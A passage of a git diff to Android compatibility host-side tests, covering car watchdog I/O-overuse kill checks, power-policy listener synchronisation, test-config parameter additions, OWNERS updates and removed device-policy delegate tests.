+                .that(atom.hasIoOveruseStats()).isTrue();
+        verifyAtomIoOveruseStats(atom.getIoOveruseStats(), overuseTimes * TWO_HUNDRED_MEGABYTES,
+                "I/O overuse stats atom from " + overuseTimes + " overuse");
+    }
+
+    private void verifyAtomKillStatsReported(String packageName)
+            throws Exception {
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertWithMessage("Reported kill event metrics data").that(data).hasSize(1);
+
+        CarWatchdogKillStatsReported atom =
+                data.get(0).getAtom().getCarWatchdogKillStatsReported();
+
+        int appUid = DeviceUtils.getAppUid(getDevice(), packageName);
+        assertWithMessage("UID in kill stats").that(atom.getUid()).isEqualTo(appUid);
+        assertWithMessage("Kill reason from kill stats").that(atom.getKillReason())
+                .isEqualTo(CarWatchdogKillStatsReported.KillReason.KILLED_ON_IO_OVERUSE);
+        assertWithMessage("System state from kill stats").that(atom.getSystemState())
+                .isEqualTo(CarWatchdogKillStatsReported.SystemState.USER_NO_INTERACTION_MODE);
+        assertWithMessage("Atom has I/O overuse stats from overuse kill")
+                .that(atom.hasIoOveruseStats()).isTrue();
+        verifyAtomIoOveruseStats(atom.getIoOveruseStats(),
+                RECURRING_OVERUSE_COUNT * TWO_HUNDRED_MEGABYTES,
+                "I/O overuse stats atom from overuse kill");
+    }
+
+    private void verifyAtomIoOveruseStats(CarWatchdogIoOveruseStats ioOveruseStats,
+            long foregroundWrittenBytes, String statsType) {
+        assertWithMessage(statsType + " has period").that(ioOveruseStats.hasPeriod()).isTrue();
+        assertWithMessage("Period in " + statsType).that(ioOveruseStats.getPeriod())
+                .isEqualTo(CarWatchdogIoOveruseStats.Period.DAILY);
+        assertWithMessage(statsType + " has threshold").that(ioOveruseStats.hasThreshold())
+                .isTrue();
+        assertWithMessage("Foreground threshold bytes in " + statsType)
+                .that(ioOveruseStats.getThreshold().getForegroundBytes())
+                .isEqualTo(TWO_HUNDRED_MEGABYTES);
+        assertWithMessage(statsType + " has written bytes").that(ioOveruseStats.hasWrittenBytes())
+                .isTrue();
+        // Watchdog daemon's polling/syncing interval and the disk I/O writes performed by the
+        // device side app are asynchronous. So, the actual number of bytes written by the app might
+        // be greater than the expected written bytes. Thus verify that the reported written bytes
+        // are in the range of 50MiB.
+        assertWithMessage("Foreground written bytes in " + statsType)
+                .that(ioOveruseStats.getWrittenBytes().getForegroundBytes())
+                .isAtLeast(foregroundWrittenBytes);
+        assertWithMessage("Foreground written bytes in " + statsType)
+                .that(ioOveruseStats.getWrittenBytes().getForegroundBytes())
+                .isAtMost(foregroundWrittenBytes + FIFTY_MEGABYTES);
+    }
+
+    private void overuseDiskIo(String packageName) throws Exception {
+        startMainActivity(packageName);
+
+        long remainingBytes = readForegroundBytesFromActivityDump(packageName);
+
+        sendBytesToKillApp(remainingBytes, packageName);
+
+        remainingBytes = readForegroundBytesFromActivityDump(packageName);
+
+        assertWithMessage("Application " + packageName + "'s remaining write bytes")
+                .that(remainingBytes).isEqualTo(0);
+    }
+
+    private long readForegroundBytesFromActivityDump(String packageName) throws Exception {
+        AtomicReference<String> notification = new AtomicReference<>();
+        PollingCheck.check("No notification received in the activity dump",
+                WATCHDOG_ACTION_TIMEOUT_MS,
+                () -> {
+                    String dump = fetchActivityDumpsys(packageName);
+                    if (dump.startsWith("INFO") && dump.contains("--Notification--")) {
+                        notification.set(dump);
+                        return true;
+                    }
+                    return false;
+                });
+
+        return parseForegroundBytesFromMessage(notification.get());
+    }
+
+    private long parseForegroundBytesFromMessage(String message) throws IllegalArgumentException {
+        Matcher m = FOREGROUND_BYTES_PATTERN.matcher(message);
+        if (m.find()) {
+            return Long.parseLong(m.group(1));
+        }
+        throw new IllegalArgumentException("Invalid message format: " + message);
+    }
+
+    private void verifyTestAppKilled(String packageName) throws Exception {
+        PollingCheck.check("Failed to kill " + packageName + " application",
+                WATCHDOG_ACTION_TIMEOUT_MS,
+                () -> {
+                    // Check activity dump for errors. Throws exception on error.
+                    fetchActivityDumpsys(packageName);
+                    return !isPackageRunning(packageName);
+                });
+    }
+
+    private String fetchActivityDumpsys(String packageName) throws Exception {
+        String dump = executeCommand("dumpsys activity %s/%s", packageName, ACTIVITY_CLASS);
+        Matcher m = DUMP_PATTERN.matcher(dump);
+        if (!m.find()) {
+            return "";
+        }
+        String message = Objects.requireNonNull(m.group(1)).trim();
+        if (message.startsWith("ERROR")) {
+            throw new Exception(message);
+        }
+        return message;
+    }
+
+    private void startMainActivity(String packageName) throws Exception {
+        String result = executeCommand("pm clear %s", packageName);
+        assertWithMessage("pm clear").that(result.trim()).isEqualTo("Success");
+
+        executeCommand("am start -W -a android.intent.action.MAIN -n %s/%s", packageName,
+                ACTIVITY_CLASS);
+
+        assertWithMessage("Is %s running?", packageName).that(isPackageRunning(packageName))
+                .isTrue();
+    }
+
+    private void sendBytesToKillApp(long remainingBytes, String appPkg) throws Exception {
+        executeCommand(
+                "am start -W -a android.intent.action.MAIN -n %s/%s --el bytes_to_kill %d",
+                appPkg, ACTIVITY_CLASS, remainingBytes);
+    }
+
+    private void checkAndSetDate() throws Exception {
+        // Get date in ISO-8601 format
+        LocalDateTime now = LocalDateTime.parse(executeCommand("date +%%FT%%T").trim());
+        if (now.getHour() < 23) {
+            return;
+        }
+        LocalDateTime nowMinusOneHour = now.minusHours(1);
+        executeCommand("date %s", nowMinusOneHour);
+        CLog.d(TAG, "checkAndSetDate: DateTime changed from %s to %s", now, nowMinusOneHour);
+        mDidModifyDateTime = true;
+    }
+
+    private void checkAndResetDate() throws Exception {
+        if (!mDidModifyDateTime) {
+            return;
+        }
+        LocalDateTime now = LocalDateTime.parse(executeCommand("date +%%FT%%T").trim());
+        LocalDateTime nowPlusOneHour = now.plusHours(1);
+        executeCommand("date %s", nowPlusOneHour);
+        CLog.d(TAG, "checkAndResetDate: DateTime changed from %s to %s", now, nowPlusOneHour);
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java b/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java
index e511337..aaa0aed 100644
--- a/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java
@@ -16,6 +16,8 @@
 
 package android.car.cts;
 
+import android.car.cts.app.PowerPolicyTestCommandStatus;
+import android.car.cts.app.PowerPolicyTestCommandType;
 import android.car.cts.powerpolicy.CpmsFrameworkLayerStateInfo;
 import android.car.cts.powerpolicy.CpmsSystemLayerStateInfo;
 import android.car.cts.powerpolicy.LocationInfo;
@@ -27,7 +29,6 @@
 import android.car.cts.powerpolicy.PowerPolicyTestResult;
 import android.car.cts.powerpolicy.SilentModeInfo;
 import android.car.cts.powerpolicy.SystemInfoParser;
-import android.car.cts.powerpolicy.WifiInfo;
 
 import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -157,16 +158,19 @@
         defineAndCheckPolicyListenerTest(testcase, stepNo++, ++expectedTotalPolicies);
         String clientTestcase = "PowerPolicyListenerTest";
         PowerPolicyTestResult testResult = new PowerPolicyTestResult(mTestAnalyzer);
-        String clientAction = "DUMP_LISTENER";
+        String clientAction = PowerPolicyTestCommandType.DUMP_LISTENER.name();
         String component = "AUDIO";
 
         setClientTestcase(clientTestcase);
         int currentNumberListeners = getNumberPolicyListeners();
         registerPowerPolicyListener(component);
-        resetPowerPolicyListeners();
         waitUntilNumberPolicyListenersEquals(++currentNumberListeners);
+        resetPowerPolicyListeners();
+        waitResetPowerPolicyListenersComplete(testResult, clientTestcase,
+                PowerPolicyTestCommandType.RESET_LISTENERS.name(), component);
         applyPowerPolicy(PowerPolicyDef.IdSet.LISTENER_TEST);
-        waitPowerPolicyListenersUpdated();
+        waitPowerPolicyListenersUpdated(testResult, clientTestcase,
+                PowerPolicyTestCommandType.CHECK_LISTENERS.name(), component);
 
         dumpPowerPolicyListener(component);
         testResult.checkLastTestResultEntry(clientTestcase, clientAction,
@@ -174,7 +178,8 @@
 
         unregisterPowerPolicyListener(component);
         applyPowerPolicy(PowerPolicyDef.IdSet.DEFAULT_ALL_ON);
-        waitPowerPolicyListenersUpdated();
+        waitPowerPolicyListenersUpdated(testResult, clientTestcase,
+                PowerPolicyTestCommandType.CHECK_LISTENERS.name(), component);
 
         dumpPowerPolicyListener(component);
         testResult.checkLastTestResultEntry(clientTestcase, clientAction,
@@ -300,14 +305,37 @@
         executeCommand("%s dumplistener,%s", TEST_COMMAND_HEADER, componentName);
     }
 
-    private void waitPowerPolicyListenersUpdated() throws Exception {
-        executeCommand("%s waitlisteners", TEST_COMMAND_HEADER);
+    private void waitPowerPolicyListenersUpdated(PowerPolicyTestResult testResult,
+            String clientTestcase, String clientAction, String component) throws Exception {
+        CommonTestUtils.waitUntil("timed out (" + DEFAULT_TIMEOUT_SEC
+                + "s) waiting  policy listeners updated", DEFAULT_TIMEOUT_SEC,
+                () -> {
+                    return checkPowerPolicyListenersUpdated(testResult, clientTestcase,
+                            clientAction, component);
+                });
+    }
+
+    private boolean checkPowerPolicyListenersUpdated(PowerPolicyTestResult testResult,
+            String clientTestcase, String clientAction, String component) throws Exception {
+        executeCommand("%s checklisteners", TEST_COMMAND_HEADER);
+        return testResult.checkLastTestResultEntryData(clientTestcase, clientAction,
+                component, PowerPolicyTestCommandStatus.PROPAGATED);
     }
 
     private void resetPowerPolicyListeners() throws Exception {
         executeCommand("%s resetlisteners", TEST_COMMAND_HEADER);
     }
 
+    private void waitResetPowerPolicyListenersComplete(PowerPolicyTestResult testResult,
+            String clientTestcase, String clientAction, String component) throws Exception {
+        CommonTestUtils.waitUntil("timed out (" + DEFAULT_TIMEOUT_SEC
+                + "s) waiting resetPowerPolicyListenersComplete", DEFAULT_TIMEOUT_SEC,
+                () -> {
+                    return testResult.checkLastTestResultEntryData(clientTestcase, clientAction,
+                            component, PowerPolicyTestCommandStatus.SUCCEED);
+                });
+    }
+
     private int getNumberPolicyListeners() throws Exception {
         return getCpmsFrameworkLayerStateInfo().getNumberPolicyListeners();
     }
@@ -378,7 +406,6 @@
 
     private void testPowerPolicyAndComponentUserSetting() throws Exception {
         ComponentTestHelper[] testHelpers = {
-            new ComponentTestHelper<WifiInfo>(this, "WIFI", WifiInfo.class),
             new ComponentTestHelper<LocationInfo>(this, "LOCATION", LocationInfo.class),
         };
 
diff --git a/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyDef.java b/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyDef.java
index e04abe1..711a867 100644
--- a/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyDef.java
+++ b/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyDef.java
@@ -300,7 +300,9 @@
         static final PowerComponent[] TEST1_DISABLE = {};
 
         static final PowerComponent[] TEST2_ENABLE = {};
-        static final PowerComponent[] TEST2_DISABLE = ALL_COMPONENTS;
+        static final PowerComponent[] TEST2_DISABLE = {
+            PowerComponent.LOCATION
+        };
 
         static final PowerComponent[] ERROR_TEST1_ENABLE = ALL_COMPONENTS;
         static final PowerComponent[] ERROR_TEST1_DISABLE = {PowerComponent.UNKNOWN};
diff --git a/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyTestResult.java b/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyTestResult.java
index 5e5a125..20a5952 100644
--- a/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyTestResult.java
+++ b/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyTestResult.java
@@ -89,4 +89,13 @@
         assertWithMessage("checkLastTestEntry with string data")
                 .that(lastEntry1.equals(lastEntry2)).isTrue();
     }
+
+    public boolean checkLastTestResultEntryData(String testcase, String action,
+            String subject, String data) throws Exception {
+        TestResultTable expected = new TestResultTable();
+        expected.add(testcase, action, subject, data);
+        TestResultTable.RecordEntry lastEntry1 = expected.getLastEntry();
+        TestResultTable.RecordEntry lastEntry2 = mTestAnalyzer.snapshotTestResult().getLastEntry();
+        return lastEntry1.equalsIgnoreSubject(lastEntry2);
+    }
 }
diff --git a/hostsidetests/car/src/android/car/cts/powerpolicy/TestResultTable.java b/hostsidetests/car/src/android/car/cts/powerpolicy/TestResultTable.java
index 4a11895..7a38eb1 100644
--- a/hostsidetests/car/src/android/car/cts/powerpolicy/TestResultTable.java
+++ b/hostsidetests/car/src/android/car/cts/powerpolicy/TestResultTable.java
@@ -114,6 +114,12 @@
             return strBuilder.append(mData).toString();
         }
 
+        public boolean equalsIgnoreSubject(RecordEntry peerEntry) {
+            return mTestcase.equals(peerEntry.mTestcase)
+                    && mAction.equals(peerEntry.mAction)
+                    && mData.equals(peerEntry.mData);
+        }
+
         public boolean equalsWithPowerPolicyData(RecordEntry peerEntry) {
             PowerPolicyDef peerPolicy;
             try {
diff --git a/hostsidetests/classloaders/splits/AndroidTest.xml b/hostsidetests/classloaders/splits/AndroidTest.xml
index e7c881b..557b879 100644
--- a/hostsidetests/classloaders/splits/AndroidTest.xml
+++ b/hostsidetests/classloaders/splits/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/classloaders/useslibrary/AndroidTest.xml b/hostsidetests/classloaders/useslibrary/AndroidTest.xml
index 6505888..0b94f35 100644
--- a/hostsidetests/classloaders/useslibrary/AndroidTest.xml
+++ b/hostsidetests/classloaders/useslibrary/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/compilation/AndroidTest.xml b/hostsidetests/compilation/AndroidTest.xml
index 78f160d..da1e27d 100644
--- a/hostsidetests/compilation/AndroidTest.xml
+++ b/hostsidetests/compilation/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCompilationTestCases.jar" />
diff --git a/hostsidetests/content/AndroidTest.xml b/hostsidetests/content/AndroidTest.xml
index 136550e..76eca45 100644
--- a/hostsidetests/content/AndroidTest.xml
+++ b/hostsidetests/content/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSyncContentHostTestCases.jar" />
         <option name="runtime-hint" value="2m" />
diff --git a/hostsidetests/devicepolicy/AndroidTest.xml b/hostsidetests/devicepolicy/AndroidTest.xml
index b579e97..3f35053 100644
--- a/hostsidetests/devicepolicy/AndroidTest.xml
+++ b/hostsidetests/devicepolicy/AndroidTest.xml
@@ -23,6 +23,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <!-- Device admin/owner requires being run in system user -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
 
     <!-- Push the list of public APIs to device -->
diff --git a/hostsidetests/devicepolicy/OWNERS b/hostsidetests/devicepolicy/OWNERS
index b37176e..19b6194 100644
--- a/hostsidetests/devicepolicy/OWNERS
+++ b/hostsidetests/devicepolicy/OWNERS
@@ -1,7 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
deleted file mode 100644
index 7ee9acb..0000000
--- a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.devicepolicy.accountmanagement;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
-import android.content.Context;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-/**
- * Functionality tests for
- * {@link android.app.admin.DevicePolicyManager#setAccountManagementDisabled}
- * and (@link android.os.UserManager#DISALLOW_MODIFY_ACCOUNTS}
- *
- * This test depends on {@link MockAccountService}, which provides authenticator of type
- * {@link MockAccountService#ACCOUNT_TYPE}.
- */
-public class AccountUtilsTest extends AndroidTestCase {
-
-    private static final String TAG = AccountUtilsTest.class.getSimpleName();
-
-    // Account type for MockAccountAuthenticator
-    private static final Account ACCOUNT = new Account("testUser",
-            MockAccountAuthenticator.ACCOUNT_TYPE);
-
-    private AccountManager mAccountManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        Log.d(TAG, "setUp(): running on user " + mContext.getUserId());
-        mAccountManager = (AccountManager) mContext.getSystemService(Context.ACCOUNT_SERVICE);
-    }
-
-    public void testAddAccountExplicitly() throws Exception {
-        assertEquals(0, mAccountManager.getAccountsByType(MockAccountAuthenticator.ACCOUNT_TYPE)
-                .length);
-        assertTrue(mAccountManager.addAccountExplicitly(ACCOUNT, "password", null));
-        assertEquals(1, mAccountManager.getAccountsByType(MockAccountAuthenticator.ACCOUNT_TYPE)
-                .length);
-    }
-
-    public void testRemoveAccountExplicitly() throws Exception {
-        assertEquals(1, mAccountManager.getAccountsByType(MockAccountAuthenticator.ACCOUNT_TYPE)
-                .length);
-        mAccountManager.removeAccountExplicitly(ACCOUNT);
-        assertEquals(0, mAccountManager.getAccountsByType(MockAccountAuthenticator.ACCOUNT_TYPE)
-                .length);
-    }
-}
-
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/src/com/android/cts/apprestrictions/targetapp/ApplicationRestrictionsActivity.java b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/src/com/android/cts/apprestrictions/targetapp/ApplicationRestrictionsActivity.java
index 12c8bbf..b8466ce 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/src/com/android/cts/apprestrictions/targetapp/ApplicationRestrictionsActivity.java
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/src/com/android/cts/apprestrictions/targetapp/ApplicationRestrictionsActivity.java
@@ -44,8 +44,11 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        mUserManager = TestAppSystemServiceFactory.getUserManager(this,
-                IpcBroadcastReceiver.class);
+        boolean isDeviceOwnerTest = "DeviceOwner".equals(getIntent().getStringExtra("admin_type"));
+        mUserManager = isDeviceOwnerTest
+                ? TestAppSystemServiceFactory.getUserManager(this, IpcBroadcastReceiver.class)
+                : getSystemService(UserManager.class);
+        Log.d(TAG, "onCreate(): isDeviceOwnerTest=" + isDeviceOwnerTest + ", um=" + mUserManager);
 
         handleIntent(getIntent());
     }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
index 9647f11..ad51a93 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 168445
-alexkershaw@google.com
-kholoudm@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
 pbdr@google.com
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
index 004ce9a..572b40b 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
@@ -24,12 +24,6 @@
 
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner"/>
-        <activity android:name="com.android.cts.delegate.DelegatedScopesReceiverActivity"
-             android:exported="true">
-        </activity>
-        <service android:name="com.android.cts.delegate.DelegatedScopesReceiverService"
-             android:exported="true">
-        </service>
         <receiver android:name=".DelegateTestUtils$DelegatedLogsReceiver"
              android:permission="android.permission.BIND_DEVICE_ADMIN"
              android:exported="true">
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
deleted file mode 100644
index 46e9d71..0000000
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.delegate;
-
-import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
-
-import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Process;
-import android.util.Log;
-
-import java.util.List;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test that an app given the {@link DevicePolicyManager#DELEGATION_APP_RESTRICTIONS} scope via
- * {@link DevicePolicyManager#setDelegatedScopes} can manage app restrictions.
- */
-public class AppRestrictionsDelegateTest extends BaseJUnit3TestCase  {
-
-    private static final String TAG = AppRestrictionsDelegateTest.class.getSimpleName();
-
-    private static final String APP_RESTRICTIONS_TARGET_PKG =
-            "com.android.cts.apprestrictions.targetapp";
-    private static final String APP_RESTRICTIONS_ACTIVITY_NAME =
-            APP_RESTRICTIONS_TARGET_PKG + ".ApplicationRestrictionsActivity";
-    private static final String ACTION_RESTRICTIONS_VALUE =
-            "com.android.cts.apprestrictions.targetapp.RESTRICTIONS_VALUE";
-
-    private static final Bundle BUNDLE_0 = createBundle0();
-    private static final Bundle BUNDLE_1 = createBundle1();
-
-    private static final long TIMEOUT_SECONDS = 10;
-
-    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            Log.d(TAG, "onReceive(): intent " + action + " on uid " + Process.myUid());
-            if (ACTION_RESTRICTIONS_VALUE.equals(action)) {
-                mReceivedRestrictions = intent.getBundleExtra("value");
-                mOnRestrictionsSemaphore.release();
-            }
-        }
-    };
-
-    private final Semaphore mOnRestrictionsSemaphore = new Semaphore(0);
-    private Bundle mReceivedRestrictions;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContext.registerReceiver(mReceiver, new IntentFilter(ACTION_RESTRICTIONS_VALUE));
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mContext.unregisterReceiver(mReceiver);
-        super.tearDown();
-    }
-
-    public void testCannotAccessApis() {
-        assertFalse("DelegateApp should not be an app restrictions delegate",
-                amIAppRestrictionsDelegate());
-
-        assertExpectException(SecurityException.class,
-                "Calling identity is not authorized", () -> {
-                    mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
-                });
-
-        assertExpectException(SecurityException.class,
-                "Calling identity is not authorized", () -> {
-                    mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
-                });
-    }
-
-    public void testCanAccessApis() throws InterruptedException {
-        assertTrue("DelegateApp is not an app restrictions delegate", amIAppRestrictionsDelegate());
-        try {
-            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_0);
-            assertBundle0(mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG));
-
-            // Check that the target app can retrieve the same restrictions.
-            assertBundle0(waitForChangedRestriction());
-
-            // Test overwriting
-            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_1);
-            assertBundle1(mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG));
-            assertBundle1(waitForChangedRestriction());
-        } finally {
-            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
-            assertTrue(
-                mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG).isEmpty());
-        }
-    }
-
-    // Should be consistent with assertBundle0
-    private static Bundle createBundle0() {
-        Bundle result = new Bundle();
-        result.putString("placeholderString", "value");
-        return result;
-    }
-
-    // Should be consistent with createBundle0
-    private void assertBundle0(Bundle bundle) {
-        assertEquals(1, bundle.size());
-        assertEquals("value", bundle.getString("placeholderString"));
-    }
-
-    // Should be consistent with assertBundle1
-    private static Bundle createBundle1() {
-        Bundle result = new Bundle();
-        result.putInt("placeholderInt", 1);
-        return result;
-    }
-
-    // Should be consistent with createBundle1
-    private void assertBundle1(Bundle bundle) {
-        assertEquals(1, bundle.size());
-        assertEquals(1, bundle.getInt("placeholderInt"));
-    }
-
-    private void startTestActivity() {
-        ComponentName component = new ComponentName(
-                APP_RESTRICTIONS_TARGET_PKG, APP_RESTRICTIONS_ACTIVITY_NAME);
-        Log.d(TAG, "Starting activity " + component.flattenToShortString() + " on user "
-                + Process.myUserHandle());
-        mContext.startActivity(new Intent()
-                .setComponent(component)
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
-    }
-
-    private Bundle waitForChangedRestriction() throws InterruptedException {
-        startTestActivity();
-        assertTrue("App restrictions target app did not respond in time",
-                mOnRestrictionsSemaphore.tryAcquire(TIMEOUT_SECONDS, TimeUnit.SECONDS));
-        return mReceivedRestrictions;
-    }
-
-    private boolean amIAppRestrictionsDelegate() {
-        final List<String> scopes = mDpm.getDelegatedScopes(null, mContext.getPackageName());
-        return scopes.contains(DELEGATION_APP_RESTRICTIONS);
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BaseTestCase.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BaseTestCase.java
index d35fe0c..bfce5ce 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BaseTestCase.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BaseTestCase.java
@@ -47,7 +47,11 @@
     }
 
     static DevicePolicyManager getDpm(Context context) {
-        return TestAppSystemServiceFactory.getDevicePolicyManager(context,
-                IpcBroadcastReceiver.class);
+        boolean isDeviceOwnerTest = "DeviceOwner"
+                .equals(InstrumentationRegistry.getArguments().getString("admin_type"));
+        DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(context,
+                        IpcBroadcastReceiver.class, isDeviceOwnerTest);
+        Log.v(TAG, "getDpm(): isDeviceOwnerTest=" + isDeviceOwnerTest + ", returning " + dpm);
+        return dpm;
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
index 47cf372..f7238a7 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
@@ -27,13 +27,13 @@
 import android.util.Base64;
